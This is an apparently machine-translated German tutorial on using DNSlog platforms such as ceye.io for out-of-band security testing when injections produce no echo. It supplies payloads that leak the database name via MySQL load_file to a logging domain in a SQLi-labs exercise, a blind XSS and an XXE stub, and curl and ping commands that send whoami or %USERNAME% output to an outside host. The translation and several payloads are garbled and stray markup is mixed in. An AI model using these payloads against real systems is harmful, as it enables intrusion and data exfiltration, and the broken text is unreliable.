Beim tatsächlichen Testen der Sicherheitsprobleme einiger Websites reagieren einige Testbefehle nach der Ausführung nicht. Wir können Skripte für die Blindinjektion schreiben, aber einige Websites blockieren unsere IP-Adresse, sodass wir dies durch Einrichten eines beheben können IP-Proxy-Pool, aber die blinde Injektion ist oft sehr ineffizient, sodass eine DNSlog-Injektion erzeugt wird.
Bevor wir DNSlog verwenden, müssen wir das Backtick-Symbol verstehen:
Symbol: `
Name: Backtick, oberes Trennzeichen
Position: Backtick, das Das Zeichen ist im Allgemeinen in in der oberen linken Ecke der Tastatur, links neben der Zahl 1. Nicht mit einfachen Anführungszeichen verwechseln
Funktion: Die in Backticks eingeschlossene Zeichenfolge wird von der Shell als Befehlszeile interpretiert. Bei der Ausführung wird die Shell zuerst aufgerufen führt die Befehlszeile aus und ersetzt den gesamten Backtick (einschließlich zwei Backticks) durch seine Standardausgabe.
Der DNSlog-Echotest läuft wie folgt ab:
Zuerst benötigen Sie einen konfigurierbaren Domänennamen, z. B. ceye.io, und legen dann den Nameserver des Domänennamens fest Erstellen Sie ceye.io für sich selbst über einen Agenten-Server A und konfigurieren Sie dann den DNS-Server auf Server A, sodass alle Abfragen für ceye.io und seine Subdomänennamen an Server A gehen. Zu diesem Zeitpunkt können Abfrageanforderungen für Domänennamen überwacht werden in Echtzeit, wie in der Abbildung unten gezeigt.
DNS hinterlässt beim Parsen Protokolle. Unser Zweck besteht darin, die Parsing-Protokolle von mehrstufigen Domänennamen zu lesen, um Informationen zu erhalten.
Einfach ausgedrückt bedeutet dies, die Informationen einzugeben hohe Ebene Geben Sie den Domänennamen an sich selbst weiter und lesen Sie dann das Protokoll, um die Informationen zu erhalten.
Das Prinzip ist sehr abstrakt, schauen wir es uns anhand eines praktischen Beispiels an.
http://ceye.io Dies ist eine kostenlose Plattform zum Aufzeichnen von DNSlog. Nachdem wir uns registriert haben, geben wir Ihnen im Control Panel einen Domainnamen der zweiten Ebene: xxx.ceye.io Informationen in die dritte Ebene Der Domainname wird im Hintergrundprotokoll aufgezeichnet.
0x01SQL-Blindinjektion
Nehmen Sie die SQL-Blindinjektion als Beispiel. Verstehen Sie den DNSlog-Injektionsprozess im Detail:
Die Funktion „load_file()“ ist für die blinde Injektion über DNSlog erforderlich und erfordert daher im Allgemeinen Root-Berechtigungen. Variablen wie „%secure%“ anzeigen; Überprüfen Sie die Festplatten, die load_file() lesen kann.
1. Wenn secure_file_priv leer ist, kann das Verzeichnis auf der Festplatte gelesen werden.
2. Wenn secure_file_priv G: ist, können Sie Dateien auf dem G-Laufwerk lesen.
3. Wenn secure_file_priv null ist, kann load_file die Datei nicht laden.
Konfigurieren Sie durch Festlegen von my.ini. secure_file_priv="" bedeutet, dass Sie Dateien auf jeder Festplatte laden können.
Auf der MySQL-Befehlszeile ausführen: select load_file('\afanti.xxxx.ceye.ioaaa'); wobei afanti die einzuschleusende Abfrageanweisung ist
Plattform anzeigen , dnsLog ist Aufzeichnen.
Die Funktion „load_file()“ kann Anfragen über DNS auflösen.
Nehmen Sie die fünfte Ebene von SQL-Labs:
payload:' und if((select Load_file(concat('\',(select Datenbank()),'.xxxxx.ceye.ioabc')) ) ,1,0)-- -+
Ausgeführte SQL-Anweisung: SELECT * FROM users WHERE id='1' and if((select load_file(concat('\',(select Database()),'. xxxxx.ceye.ioabc'))),1,0)
Überprüfen Sie das DNS-Protokoll und stellen Sie fest, dass die Sicherheitsdatenbank abgefragt wurde:
#🎜🎜 #0x02 XSS (kein Echo) Durch blindes Tippen kann der Browser des Triggers auf die voreingestellte Linkadresse zugreifen. Wenn das blinde Tippen erfolgreich ist, wird der folgende Linkzugriffsdatensatz auf der Plattform empfangen: #🎜 🎜#payload:>Lassen Sie src unsere DNSlog-Plattform anfordern
#🎜 🎜 #0x03 ×××F(Kein Echo)
payload: < ;! DOCTYPE root [
%remote;]>
< ;root />
0x04 Befehlsausführung (kein Echo)
Beim Pingen eines Domänennamens wird ein rekursiver DNS-Abfrageprozess für ihn ausgeführt. Zu diesem Zeitpunkt kann die DNS-Abfrageanforderung im Backend abgerufen werden. Wenn der Befehl tatsächlich ausgeführt wird und die Plattform das Echo empfängt, wird bewiesen, dass die Sicherheitslücke tatsächlich besteht.
Linux
curl http://haha.xxx.ceye.io/`whoami
whoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io
Das obige ist der detaillierte Inhalt vonSo nutzen Sie DNSLOG sinnvoll, um echofreie Sicherheitstests durchzuführen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!